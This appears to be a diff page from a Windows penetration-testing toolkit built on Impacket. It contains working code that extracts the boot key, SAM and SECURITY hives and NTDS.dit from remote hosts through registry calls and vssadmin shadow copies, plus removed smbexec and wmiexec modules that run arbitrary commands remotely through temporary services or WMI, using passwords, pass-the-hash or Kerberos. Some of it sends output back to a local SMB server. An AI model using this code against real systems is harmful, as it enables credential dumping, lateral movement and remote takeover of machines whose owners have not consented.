if ans['lpServiceConfig']['dwStartType'] == 0x4:
logging.info('Service %s is disabled, enabling it'% self.__serviceName)
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
logging.info('Starting service %s' % self.__serviceName)
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.__connectWinReg()
def __restore(self):
# First of all stop the service if it was originally stopped
if self.__shouldStop is True:
logging.info('Stopping service %s' % self.__serviceName)
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
if self.__serviceDeleted is False:
# Check again the service we created does not exist, starting a new connection
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
try:
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*self.__smbConnection.getCredentials())
rpc.set_kerberos(self.__doKerberos)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
rpc.disconnect()
except Exception, e:
# If service is stopped it'll trigger an exception
# If service does not exist it'll trigger an exception
# So. we just wanna be sure we delete it, no need to
# show this exception message
pass
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__drsr is not None:
self.__drsr.disconnect()
if self.__samr is not None:
self.__samr.disconnect()
if self.__scmr is not None:
self.__scmr.disconnect()
def getBootKey(self):
bootKey = ''
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
for key in ['JD','Skew1','GBG','Data']:
logging.debug('Retrieving class info for %s'% key)
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
keyHandle = ans['phkResult']
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
bootKey = bootKey + ans['lpClassOut'][:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
bootKey = unhexlify(bootKey)
for i in xrange(len(bootKey)):
self.__bootKey += bootKey[transforms[i]]
logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
return self.__bootKey
def checkNoLMHashPolicy(self):
logging.debug('Checking NoLMHash Policy')
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
keyHandle = ans['phkResult']
try:
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
except:
noLMHash = 0
if noLMHash != 1:
logging.debug('LMHashes are being stored')
return False
logging.debug('LMHashes are NOT being stored')
return True
def __retrieveHive(self, hiveName):
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
except:
raise Exception("Can't open %s hive" % hiveName)
keyHandle = ans['phkResult']
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
# Now let's open the remote file, so it can be read later
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
return remoteFileName
def saveSAM(self):
logging.debug('Saving remote SAM database')
return self.__retrieveHive('SAM')
def saveSECURITY(self):
logging.debug('Saving remote SECURITY database')
return self.__retrieveHive('SECURITY')
def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
self.__serviceDeleted = False
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
self.__serviceDeleted = True
scmr.hRCloseServiceHandle(self.__scmr, service)
def __answer(self, data):
self.__answerTMP += data
def __getLastVSS(self):
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
sleep(5)
tries = 0
while True:
try:
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
break
except Exception, e:
if tries > 30:
# We give up
raise Exception('Too many tries trying to list vss shadows')
if str(e).find('SHARING') > 0:
# Stuff didn't finish yet.. wait more
sleep(5)
tries +=1
pass
else:
raise
lines = self.__answerTMP.split('\n')
lastShadow = ''
lastShadowFor = ''
# Let's find the last one
# The string used to search the shadow for drive. Wondering what happens
# in other languages
SHADOWFOR = 'Volume: ('
for line in lines:
if line.find('GLOBALROOT') > 0:
lastShadow = line[line.find('\\\\?'):][:-1]
elif line.find(SHADOWFOR) > 0:
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
return lastShadow, lastShadowFor
def saveNTDS(self):
logging.info('Searching for NTDS.dit')
# First of all, let's try to read the target NTDS.dit registry entry
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
keyHandle = ans['phkResult']
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
try:
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
ntdsLocation = dataValue[:-1]
ntdsDrive = ntdsLocation[:2]
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
# Get the list of remote shadows
shadow, shadowFor = self.__getLastVSS()
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
# No shadow, create one
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
shadow, shadowFor = self.__getLastVSS()
shouldRemove = True
if shadow == '':
raise Exception('Could not get a VSS')
else:
shouldRemove = False
# Now copy the ntds.dit to the temp directory
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
if shouldRemove is True:
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
return remoteFileName

File diff suppressed because it is too large Load Diff

View File

@ -1,257 +0,0 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# [MS-SCMR] services common functions for manipulating services
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC.
# TODO:
# [ ] Check errors
import sys
import logging
import codecs
from impacket import version
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.ndr import NULL
from impacket.crypto import *
class SVCCTL:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, logger, username, password, domain, protocol, action, aesKey, kerb, ntlmhash, options):
self.__username = username
self.__password = password
self.__protocol = SVCCTL.KNOWN_PROTOCOLS.keys()
self.__options = options
self.__action = action.upper()
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = kerb
self.__protocol = protocol
self.__addr = None
self.__port = None
self.__logger = logger
if ntlmhash is not None:
self.__lmhash, self.__nthash = ntlmhash.split(':')
def run(self, addr):
# Try all requested protocols until one works.
protodef = SVCCTL.KNOWN_PROTOCOLS[self.__protocol]
port = protodef[1]
self.__port = port
logging.info("Trying protocol %s..." % self.__protocol)
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
rpctransport.set_kerberos(self.__doKerberos)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
try:
self.__addr = addr
self.doStuff(rpctransport)
except Exception, e:
#import traceback
#traceback.print_exc()
logging.critical(str(e))
def doStuff(self, rpctransport):
dce = rpctransport.get_dce_rpc()
#dce.set_credentials(self.__username, self.__password)
dce.connect()
#dce.set_max_fragment_size(1)
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
dce.bind(scmr.MSRPC_UUID_SCMR)
#rpc = svcctl.DCERPCSvcCtl(dce)
rpc = dce
ans = scmr.hROpenSCManagerW(rpc)
scManagerHandle = ans['lpScHandle']
if self.__action != 'LIST' and self.__action != 'CREATE':
ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.service_name+'\x00')
serviceHandle = ans['lpServiceHandle']
if self.__action == 'START':
self.__logger.success("Starting service {}".format(self.__options.service_name))
scmr.hRStartServiceW(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'STOP':
self.__logger.success("Stopping service {}".format(self.__options.service_name))
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'DELETE':
self.__logger.success("Deleting service {}".format(self.__options.service_name))
scmr.hRDeleteService(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'CONFIG':
self.__logger.success("Service config for {}".format(self.__options.service_name))
resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
output = "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType']
if resp['lpServiceConfig']['dwServiceType'] & 0x1:
output += "SERVICE_KERNEL_DRIVER "
if resp['lpServiceConfig']['dwServiceType'] & 0x2:
output += "SERVICE_FILE_SYSTEM_DRIVER "
if resp['lpServiceConfig']['dwServiceType'] & 0x10:
output += "SERVICE_WIN32_OWN_PROCESS "
if resp['lpServiceConfig']['dwServiceType'] & 0x20:
output += "SERVICE_WIN32_SHARE_PROCESS "
if resp['lpServiceConfig']['dwServiceType'] & 0x100:
output += "SERVICE_INTERACTIVE_PROCESS "
self.__logger.results(output)
output = "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType']
if resp['lpServiceConfig']['dwStartType'] == 0x0:
output += "BOOT START"
elif resp['lpServiceConfig']['dwStartType'] == 0x1:
output += "SYSTEM START"
elif resp['lpServiceConfig']['dwStartType'] == 0x2:
output += "AUTO START"
elif resp['lpServiceConfig']['dwStartType'] == 0x3:
output += "DEMAND START"
elif resp['lpServiceConfig']['dwStartType'] == 0x4:
output += "DISABLED"
else:
output += "UNKOWN"
self.logger.results(output)
output = "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl']
if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
output += "IGNORE"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
output += "NORMAL"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
output += "SEVERE"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
output += "CRITICAL"
else:
output += "UNKOWN"
self.__logger.results(output)
self.__logger.results("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
self.__logger.results("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
self.__logger.results("TAG : %d" % resp['lpServiceConfig']['dwTagId'])
self.__logger.results("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
self.__logger.results("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
self.__logger.results("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
elif self.__action == 'STATUS':
self.__logger.success("Service status for {}".format(self.__options.service_name))
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
output = "%s - " % self.__options.service_name
state = resp['lpServiceStatus']['dwCurrentState']
if state == scmr.SERVICE_CONTINUE_PENDING:
output += "CONTINUE PENDING"
elif state == scmr.SERVICE_PAUSE_PENDING:
output += "PAUSE PENDING"
elif state == scmr.SERVICE_PAUSED:
output += "PAUSED"
elif state == scmr.SERVICE_RUNNING:
output += "RUNNING"
elif state == scmr.SERVICE_START_PENDING:
output += "START PENDING"
elif state == scmr.SERVICE_STOP_PENDING:
output += "STOP PENDING"
elif state == scmr.SERVICE_STOPPED:
output += "STOPPED"
else:
output += "UNKOWN"
self.__logger.results(output)
elif self.__action == 'LIST':
self.__logger.success("Enumerating services")
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
#resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
for i in range(len(resp)):
output = "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1])
state = resp[i]['ServiceStatus']['dwCurrentState']
if state == scmr.SERVICE_CONTINUE_PENDING:
output += "CONTINUE PENDING"
elif state == scmr.SERVICE_PAUSE_PENDING:
output += "PAUSE PENDING"
elif state == scmr.SERVICE_PAUSED:
output += "PAUSED"
elif state == scmr.SERVICE_RUNNING:
output += "RUNNING"
elif state == scmr.SERVICE_START_PENDING:
output += "START PENDING"
elif state == scmr.SERVICE_STOP_PENDING:
output += "STOP PENDING"
elif state == scmr.SERVICE_STOPPED:
output += "STOPPED"
else:
output += "UNKOWN"
self.__logger.results(output)
self.__logger.results("Total Services: {}".format(len(resp)))
elif self.__action == 'CREATE':
self.__logger.success("Creating service {}".format(self.__options.service_name))
scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.service_name + '\x00', self.__options.service_display_name + '\x00', lpBinaryPathName=self.__options.service_bin_path + '\x00')
elif self.__action == 'CHANGE':
self.__logger.success("Changing service config for {}".format(self.__options.service_name))
if self.__options.start_type is not None:
start_type = int(self.__options.start_type)
else:
start_type = scmr.SERVICE_NO_CHANGE
if self.__options.service_type is not None:
service_type = int(self.__options.service_type)
else:
service_type = scmr.SERVICE_NO_CHANGE
if self.__options.service_display_name is not None:
display = self.__options.service_display_name + '\x00'
else:
display = NULL
if self.__options.service_bin_path is not None:
path = self.__options.service_bin_path + '\x00'
else:
path = NULL
if self.__options.start_name is not None:
start_name = self.__options.start_name + '\x00'
else:
start_name = NULL
if self.__options.start_pass is not None:
s = rpctransport.get_smb_connection()
key = s.getSessionKey()
try:
password = (self.__options.start_pass+'\x00').encode('utf-16le')
except UnicodeDecodeError:
import sys
password = (self.__options.start_pass+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')
password = encryptSecret(key, password)
else:
password = NULL
#resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password)
scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
else:
logging.error("Unknown action %s" % self.__action)
scmr.hRCloseServiceHandle(rpc, scManagerHandle)
dce.disconnect()
return

View File

@ -1,244 +0,0 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# A similar approach to psexec w/o using RemComSvc. The technique is described here
# http://www.accuvant.com/blog/owning-computers-without-shell-access
# Our implementation goes one step further, instantiating a local smbserver to receive the
# output of the commands. This is useful in the situation where the target machine does NOT
# have a writeable share available.
# Keep in mind that, although this technique might help avoiding AVs, there are a lot of
# event logs generated and you can't expect executing tasks that will last long since Windows
# will kill the process since it's not responding as a Windows service.
# Certainly not a stealthy way.
#
# This script works in two ways:
# 1) share mode: you specify a share, and everything is done through that share.
# 2) server mode: if for any reason there's no share available, this script will launch a local
# SMB server, so the output of the commands executed are sent back by the target machine
# into a locally shared folder. Keep in mind you would need root access to bind to port 445
# in the local machine.
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCE/RPC and SMB.
import sys
import os
import cmd
import logging
import random
import string
from core.servers.smbserver import SMBServer
from impacket import version
from impacket.smbconnection import *
from impacket.dcerpc.v5 import transport, scmr
from StringIO import StringIO
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
class SMBEXEC:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, logger, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
if not protocols:
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
self.__logger = logger
self.__username = username
self.__password = password
self.__command = command
self.__protocols = [protocols]
self.__serviceName = ''.join(random.sample(string.ascii_letters, 6))
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__noOutput = noOutput
self.__share = share
self.__mode = mode
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if password is None:
self.__password = ''
def run(self, addr):
for protocol in self.__protocols:
protodef = SMBEXEC.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
logging.info("Creating service %s..." % self.__serviceName)
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos)
self.shell = None
try:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.start()
self.shell = RemoteShell(self.__logger, self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
self.shell.onecmd(self.__command)
self.shell.finish()
if self.__mode == 'SERVER':
serverThread.stop()
except (Exception, KeyboardInterrupt), e:
logging.critical(str(e))
if self.shell is not None:
self.shell.finish()
class RemoteShell(cmd.Cmd):
def __init__(self, logger, share, rpc, mode, serviceName, noOutput):
cmd.Cmd.__init__(self)
self.__logger = logger
self.__share = share
self.__mode = mode
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = ''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__noOutput = noOutput
self.__rpc = rpc
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
self.__scmr = rpc.get_dce_rpc()
try:
self.__scmr.connect()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
if self.__noOutput is False:
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
self.transferClient = rpc.get_smb_connection()
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
else:
logging.info('Output retrieval disabled')
#self.do_cd('')
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except:
pass
def do_shell(self, s):
os.system(s)
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
# We just can't CD or mantain track of the target dir.
if len(s) > 0:
logging.error("You can't CD under SMBEXEC. Use full paths.")
self.execute_remote('cd ' )
if len(self.__outputBuffer) > 0:
# Stripping CR/LF
self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>'
self.__outputBuffer = ''
def do_CD(self, s):
return self.do_cd(s)
def default(self, line):
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, self.__output, output_callback)
self.transferClient.deleteFile(self.__share, self.__output)
else:
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
output_callback(fd.read())
fd.close()
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data):
if self.__noOutput is False:
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
else:
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
logging.info('Command in batch file: {}'.format(command))
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
self.__logger.success("Executed command via SMBEXEC")
if self.__noOutput is False:
buf = StringIO(self.__outputBuffer.strip()).readlines()
for line in buf:
self.__logger.results(line.strip())
self.__outputBuffer = ''

View File

@ -1,238 +0,0 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# A similar approach to smbexec but executing commands through WMI.
# Main advantage here is it runs under the user (has to be Admin)
# account, not SYSTEM, plus, it doesn't generate noisy messages
# in the event log that smbexec.py does when creating a service.
# Drawback is it needs DCOM, hence, I have to be able to access
# DCOM ports at the target machine.
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCOM
#
import sys
import os
import cmd
import logging
import string
import random
import ntpath
import core.settings as settings
from gevent import sleep
from impacket import version
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from StringIO import StringIO
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
class WMIEXEC:
def __init__(self, logger, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False):
self.__logger = logger
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = doKerberos
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if password is None:
self.__password = ''
def run(self, addr, smb):
if self.__noOutput is False:
smbConnection = smb
else:
logging.info('Output retrieval disabled')
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
try:
self.shell = RemoteShell(self.__logger, self.__share, win32Process, smbConnection)
self.shell.onecmd(self.__command)
except (Exception, KeyboardInterrupt) as e:
logging.error(str(e))
dcom.disconnect()
dcom.disconnect()
class RemoteShell(cmd.Cmd):
def __init__(self, logger, share, win32Process, smbConnection):
cmd.Cmd.__init__(self)
self.__logger = logger
self.__share = share
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
self.__outputBuffer = ''
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = 'C:\\'
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_shell(self, s):
os.system(s)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
get {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
"""
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
try:
os.chdir(s)
except Exception, e:
logging.error(str(e))
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
os.remove(filename)
pass
def do_put(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = string.replace(dst_path, '/','\\')
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
fh.close()
except Exception, e:
logging.critical(str(e))
pass
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print self.__outputBuffer
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print self.__outputBuffer
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception, e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
sleep(1)
pass
else:
#print str(e)
pass
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
